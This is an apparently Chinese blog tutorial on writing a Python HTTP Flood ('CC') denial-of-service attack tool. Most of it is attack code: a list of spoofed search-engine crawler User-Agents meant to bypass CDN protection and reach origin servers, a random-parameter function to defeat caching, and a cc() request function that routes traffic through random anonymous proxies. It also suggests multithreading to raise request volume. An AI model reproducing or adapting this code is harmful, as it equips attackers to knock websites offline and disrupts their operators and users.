首先,让我们了解什么是 CC 攻击及其实现原理。HTTP Flood攻击,也称为 CC 攻击,并不需要控制大量的“肉鸡”(即被黑客远程控制的计算机)。相反,攻击者使用端口扫描程序在互联网上寻找匿名的 HTTP 代理或 SOCKS 代理。通过这些匿名代理,攻击者可以伪装成正常用户,向攻击目标发送大量 HTTP 请求,以消耗其资源。CC 攻击主要针对网站,目的是通过产生大量连接数来使其无法正常服务。
根据上述描述,我们可以总结出以下几点:
- 需要一定数量的高匿名代理。
- 必须通过代理向目标站点发送请求。
- 需要使用多线程或多进程结合多线程的方式来实现请求。
实现思路
- 网上有很多免费代理站,可以提取到不少代理 IP,不过大部分都是不可用的,需要增加验证步骤。
现在不少站点都开了 CDN,但是有些站长为了及时收录开启了搜索引擎回源,可以通过伪造蜘蛛 UA 绕过 CDN 防护从而访问源站:
# UA列表,用于过CDN和部分盾 UA = [ "Mozilla/5.0 (compatible; Baiduspider/2.0; http://www.baidu.com/search/spider.html)", # 百度蜘蛛抓取欺骗 "Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)", # 谷歌蜘蛛抓取欺骗 "Sogou web spider/4.0( http://www.sogou.com/docs/help/webmasters.htm#07)", # 搜狗蜘蛛抓取欺骗 "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11; 360Spider", # 奇虎蜘蛛抓取欺骗 "Mozilla/5.0 (compatible; bingbot/2.0 http://www.bing.com/bingbot.htm)" # 必应蜘蛛抓取欺骗 ]
GET 请求方式需要添加随机参数值,不管是原始的参数随机,还是自定义一个 random 参数都是很有必要的,可绕过一些缓存:
# 生成随机参数 def random_parameters(site_url): items = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'] temp = "" random_str = temp.join(random.sample(items, 10)) if site_url.find('?') >= 0: site_url = site_url + "&_random=" + random_str else: site_url = site_url + "/?_random=" + random_str return site_url
准备完成,下一步需要通过代理请求站点:
# GET请求主线程 def cc(site, ua, refer, mode): # Header请求头,如有其它参数的可以往里面加 headers = { "User-Agent": "", "Referer": "", "Cache-Control": "no-cache" } # 选择User-Agent if ua == '2': headers["User-Agent"] = UA[1] elif ua == '3': headers["User-Agent"] = UA[2] elif ua == '4': headers["User-Agent"] = UA[3] elif ua == '5': headers["User-Agent"] = UA[4] elif ua == '6': random_ua = UserAgent() headers["User-Agent"] = random_ua.random elif ua == '7': headers["User-Agent"] = random.choice(UA) else: headers["User-Agent"] = UA[0] # 选择Referer headers["Referer"] = refer # print(headers) # 选择是否使用代理 try: if mode == "2": res = requests.get(random_parameters(site), headers=headers, timeout=15) # 不使用代理IP,超时时间默认15S,也就是10秒请求不到内容才进入下一个请求,不要太快 else: proxy_host = random.choice(ip) # 随取IP proxy_temp = {"http": proxy_host, "https": proxy_host} res = requests.get(random_parameters(site), headers=headers, proxies=proxy_temp, timeout=15) # 使用代理IP print(res) except Exception as e: print(e)
- 最后就是使用 Python 多线程的方法来调用
cc()
函数提高效率了。
注意事项
不建议无节制地发送数据包。将 timeout 设置得过低没有实际意义,只会导致本地主机的 CPU 使用率过高,甚至可能导致系统卡死。请求一旦断开,服务器会直接忽略这些请求,继续完成连接并获取数据。然而,对于像 CloudFlare 这样的提供5秒防护的 CDN 服务来说,这种情况就无能为力了。
mu喵喵~
啊哈!Get新思路(?嘘